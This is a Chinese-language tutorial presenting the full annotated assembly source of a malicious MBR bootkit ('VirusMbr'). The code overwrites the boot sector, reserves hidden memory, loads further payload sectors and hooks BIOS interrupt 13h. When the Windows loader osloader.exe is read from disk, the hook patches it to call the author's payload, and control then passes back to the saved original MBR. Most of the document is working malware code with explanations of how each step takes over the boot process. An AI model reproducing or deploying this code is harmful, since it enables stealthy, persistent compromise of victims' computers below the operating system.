BootKit之VirusMbr
Sjtujg
先介绍一些关于MBR的基础知识,Bios加电之后选择引导介质(一般是磁盘),如果选择了磁盘,就将磁盘的第一个扇区的内容读入到内存中,然后流程转向执行这部分代码,磁盘的第一个扇区就是我们所说的MBR.MBR的内容有512个字节,其中可执行的代码内容只有400多字节,还有64个字节是磁盘分区表,计算机凭借分区表来选择引导分区,并将其第一个扇区(引导扇区)读入内存中继续引导过程。
现在我们修改了原始的MBR,而将自己的VirusMbr写入磁盘的第一个扇区,这样就可以改变开机的引导流程,只要最后将原来的Mbr(保存在磁盘某个特定位置处)读入内存继续执行,就将流程还给了正确的引导流程。而在VirusMbr流程中所完成的工作就是去hook int13h。下面结合代码来具体分析一下。
VirusMbr.asm
.686p
.mmx
.model tiny
seg000 segment bytepublic 'CODE' use16
assume cs:seg000
assumees:nothing,ss:nothing,ds:nothing,fs:nothing,gs:nothing
ORG 000h
START:
cli
//首先先保存各个段寄存器的值如es,sp,ss
mov word ptrcs:600h,es
mov word ptrcs:602h,sp
mov word ptrcs:604h,ss
mov dword ptrcs:7FCh,800h
// 将dwordcs:7fch处的值的高低word值分别赋予ss和sp,实际上市重写构建了一个堆栈
lss sp,cs:7FCh
pushad
push ds
//在内存中分出32KB驻留代码此时cs:413h处保存的是未使用的内存的地址(以KB为单位),从中减32KB就等于是从内存中划分了32Kb出来,将减去32后的值回写到cs:413h中,那么其他的程序就不会使用到这32kb了。
mov bx,cs:413h
sub bx,0020h
and bl,0FCh //将所划分出的32KB的内存段的地址的最低的两个bit清零为了4Kb内存对齐(因为下面会涉及到页表,页表是4KB为单位的)
mov cs:413h,bx
shl bx,6 //这里是将存放在bx中的经过4KB内存对齐的内存地址转化为段地址,实际上是将bx左移10bit(因为这个内存地址是以KB为单位,先要乘以1024),再将其除以16也就是右移4bit获得段地址,综合起来就是左移6bit
mov es,bx //将划分出的32kb内存区域的段地址写入es中
xor bx,bx
//将VirusMBR中的代码用int13h读到驻留区去(也就是刚刚划分出的32kb的区域)。Int13h读的目的内存地址是有es:bx表示的bx已经清零,es存放的是划分出的32KB内存块的段地址
mov ax,201h
mov cx,1
mov dx,80h
int 13h
push es
push offset Remote//将es和一个代码中的偏移地址压入栈随后用retf指令改变执行流程,计算机从内存中的32KB划分区去执行VirusMbr中Remote偏移处向下的代码
retf
Remote:
push cs //在内存32Kb划分区中执行的第一条指令,将cs的内容赋值给ds(也就是那32KB的划分区域的内存地址)
pop ds
//DiskAddressPacket偏移地址处存放的是int13h扩展读所需的参数数据结构
mov si,offsetDiskAddressPacket
mov ax,cs
mov [si+6],ax //设置int13h扩展读内存目的地址的段地址部分,就是内存划分区的段地址
mov ah,42h
mov dl,80h
int 13h
jmp GO_ON
DiskAddressPacket:
db 10h //此数据结构的字节数16byte
db 0 //总是0
dw 20 //要利用int13h扩展读读入的扇区数
dd 200h //int13h扩展读将磁盘扇区读入内存的目的内存地址
dd 0FFCD8Dh //int13h扩展读在磁盘上读入扇区的磁盘偏移地址,在Ghost.cpp中设置,类型是qword.
dd 0
GO_ON: //int13h扩展读之后流程跳到这里继续向下执行,在屏幕上打印一串”!”作为标记
mov ecx,100
mov ebx,1
mov ax,0b800h
mov es,ax
Show:
mov byte ptres:[12*160+ebx*2],'!'
inc ebx
loop Show
push 0
pop es //将es清零
mov eax,dword ptres:4Ch //将int13h中断处理例程的地址存入eax寄存器中
movcs:Pre_Int13h,eax //将保存好的int13h中断例程地址写入本段代码中的一个偏移地址处
mov word ptres:4Ch,offset Int13hook //重新设置int13h的中断处理例程地址,因为本段VirusMbr代码是读入到内存32KB划分区中的,而现在cs中保存的段地址就是这个划分区的段地址,而新的int13h中断处理例程就保存在这段代码中且偏移地址是int13hook,所以重新设置的int13h中断处理例程的段地址就是cs,而段内偏移地址就是int13hook.
mov word ptres:4Eh,cs
xor ebx,ebx //在ebx中保存32Kb划分区的内存起始地址(用段地址乘以16即可)
mov bx,cs
shl ebx,4
or cs:23ah,ebx//刚才读入了20个磁盘扇区到32KB内存划分区中,其中偏移200h
or cs:379h,ebx处是PmVirus代码的起始地址,这里是在VirusMbr中修改PmVirus在内存中的内容,修改的内容有3处,在接下来的PmVirus部分中的注释会说明
add ebx,204h
mov cs:200h,ebx
mov di,7C00h //在32KB划分出的内存区域中偏移地址为2600h的地方开始copy200h字节至内存地址0000:7c00h处,就是讲原始MBR的内容读到内存0000:7c00h处去执行
mov si,2600h
mov cx,200h
cld
rep movsb
pop ds //各种恢复现场
popad
lss sp,es:602h
mov es,es:600h
db 0EAh //这个是jmp指令的操作码,和下面的两个word数据合起来就是jmp0000:7c00h这条指令,之所以直接写成操作码形式是因为jmp 后面只能跟一个标号,不能跟立即数,否则编译会不能通过.
dw 7C00h
dw 0000h
//以下的代码不是在VirusMbr中执行的,他们是新的int13h中断处理例程的代码,在VirusMbr中被读入内存,从而驻留在内存32KB划分区中,在以后系统再去调用int13h时实际上是去调用这一部分的代码
Int13hook:
pushf
cmp ah,42h //首先过滤功能号,如果是int13h读或者扩展读(功能号是42h和02h)则进行特殊处理,否则调用原来的int13h处理例程一般处理
je shortInt13hook_Read_Request
cmp ah,02h
je shortInt13hook_Read_Request
popf
db 0EAh
Pre_Int13h dd ? //这里在之前的VirusMbr中已经被修改成原来的int13h中断处理例程的地址,和前面的db 0eah合起来就是jmp到原来的int13h处理程处。
Int13hook_Read_Request: //如果是int13h读或者扩展读就执行下面的代码
mov byte ptrcs:[INT13LASTFUNCTION],ah //此处又是自修改技术,将功能号存储到下面代码某处(这里以**标注)
popf
pushf //此处将flags寄存器入栈配合下面调用原来的int13h中断处理例程模拟一个int型中断。因为调用的是int型中断处理例程,在最后一定是一个iret操作要将堆栈的内容pop到flag寄存器中,所以先让flag寄存器入栈
call dword ptrcs:Pre_Int13h
jc shortInt13hook_Ret //如果调用原来的int13h中断处理例程失败,则直接退出吧
pushf
cli
push es
pusha
mov ah,00h //**此处的00h就是之前被自修改技术修改的地方,现在是功能号
INT13LASTFUNCTIONEQU $-1
cmp ah,42h
jne shortInt13_notext //如果是Int13h读就跳到Int13_notext继续执行
lodsw //接连两个lodsw实际上是调整si指针使其指向int13h扩展读参数数据结构中的读入的目的内存地址
lodsw
les bx,[si] //将es:bx指向int13h扩展读的读入的目的内存地址,这样就和普通的int13h读操作统一起来了
Int13_notext:
test al,al //如果读入0个字节就退出完成工作,下面的代码是借鉴了BootRoot的代码,就是在Int13h读或者扩展读的目的内存缓冲区内寻找特定的字节序列
8bf085f6742180h,这些字节对应的是下列语句:
; 8BF0 MOV ESI, EAX
; 85F6 TEST ESI, ES
; 7421 JZ $+23h
; 80 3D... CMP BYTE PTR [ofs32], imm8
然后将8bf085f67421h这5个字节改成callXXXX(自己的PmVirus的地址),正好6个字节的操作码.Call是15ffh,这样以后用int13h读入Oslaoder.exe时就总动hook了,Osloader.exe在执行的时候流程会转到PmVirus处
jle shortInt13hook_Scan_Done
cld
xor cx,cx
mov cl,al
mov al,8Bh
shl cx,9
mov di,bx
Int13hook_Scan_Loop:
repne scasb
jne shortInt13hook_Scan_Done
cmp dword ptres:[di],74F685F0h
jne shortInt13hook_Scan_Loop
cmp word ptres:[di+4],8021h
jne shortInt13hook_Scan_Loop
mov word ptres:[di-1],15FFh
xor eax,eax
mov ax,cs //这里将cs的值赋给ax,因为系统调用int13h时才会执行到这里的代码,而这里的代码是存放在内存32KB划分区的,所以此处的cs就是之前32KB划分区的段地址,而偏移地址200h是PmVirus代码的第一个字节处,此处是一个dword类型值,这个dword值存放的是自己这个dword值下面的第一条PmVirus可执行语句。
shl eax,4
add eax,200h
mov es:[di+1],eax //此时的eax中装的是PmVirus的开头的dword类型值在内存中的偏移地址,这个dword类型值是PmVirus中第一条可执行指令的内存地址,因为Call XXXX(立即数),其中XXXX会被解释成一个内存地址,然后以间接寻址的方式处理。举例来说如果PmVirus的起始字节内存地址是0000:1000,那么从0000:1000------0000:1003这四个字节所存储的是0000:1004,而0000:1004处是第一条可执行语句,那么Call 0000:1000代表的是去执行0000:1000中所存储的0000:1004处的指令,也就是第一条可执行指令。
Int13hook_Scan_Done:
popa
pop es
popf
Int13hook_Ret:
retf 2
seg000 ends
end START
现在讲一下内存32KB划分区中的布局,假设所划分的32KB内存区域的段地址是9c00h,那么着32KB中的内容如下(实际上用不到32KB):
9c00h:0000h------9c00h:0200h:VirusMbr的内容
9c00h:0200h------9c00h:0600h:PmVirus的内容
9c00h:0600h------9c00h:2600h:Driver.sys的内容
9c00h:2600h------9c00h:2800h:OriMbr的内容
其中9c00h:0000------9c00h:0200h的VirusMbr的内容是通过int13h读读入的,其余的内容是通过int13h扩展读从磁盘的特定偏移处读入到内存中的(20个扇区).